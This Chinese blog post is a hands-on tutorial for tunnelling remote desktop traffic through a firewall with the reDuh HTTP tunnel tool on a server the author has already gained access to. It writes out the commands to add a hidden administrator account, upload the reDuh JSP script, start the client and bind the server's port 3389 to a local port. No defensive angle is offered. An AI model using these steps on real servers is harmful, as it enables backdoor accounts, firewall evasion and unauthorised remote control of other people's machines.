HTTP隧道技术工具Reduh穿透防火墙

准备工作

  当然我们先看一下3389端口是否是开放的,命令行下执行netstat -an,如果能看到类似“TCP 0.0.0.0:3389 LISTENING”这样的字样就说明很有希望了。然后我们再新建一个用户吧。依次执行net user username password /add和net localgroup administrators username /add。这时候我们满心欢喜地想在机器上远程桌面连接服务器,却发现失败了。排除了一些IP排除策略的可能性后(在注册表中可以检查相关设置),多半就是防火墙的问题了。

  

  使用reDuh建立隧道

  reDuh是由国外一个名叫Glenn Wilkinson的安全人员编写的一个通过HTTP协议建立隧道传输各种其他数据的工具。运行于服务器的JSP脚本接受HTTP请求,在本地转发给相应的端口,并接受本地端口的数据再通过HTTP发送给远程客户端。这样本来应该走其他端口的数据变摇身一变,披上了HTTP协议的报文头,换走HTTP的端口了。所有HTTP通道中的数据都是经过Base64编码的(Base64可以将二进制数据转换成ASCII字符序列,并且可以解码还原)。下面这张图详细地说明了reDuh的工作流程(图片汉化自SensePost's BlackHat USA 2008 talk on tunnelling data in and out of networks):

  

  将JSP文件上传至服务器后,我们在自己机器上运行客户端建立连接:java -jar reDuhClient.jar http://internal.bigcompany.com/uploads/reDuh.jsp。产生输出:

  1

  2

  3

  4[Info]Querying remote web page for usable remote service port

  [Info]Remote RPC port chosen as 42000

  [Info]Attempting to start reDuh from internal.bigcompany.com/uploads/reDuh.jsp. Using service port 42000. Please wait...

  [Info]reDuhClient service listener started on local port 1010

  这时候我们登录进本机的1010端口,可以使用telnet或者netcat。登录后我们会看到Welcome to the reDuh command line的提示。输入[createTunnel]1234:127.0.0.1:3389便可以将远程服务器的3389端口和本地的1234端口绑定起来。

  这时候我们便可以打开远程桌面连接,连接127.0.0.1:1234,然后就能看到熟悉的界面了。java的控制台会不断输出运行信息。因为绕了很多弯的缘故,所以远程桌面的速度并不快,但是毕竟连接上了,不是吗?

  

  当需要断开连接的时候,我们只需要输入[killReDuh]即可

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值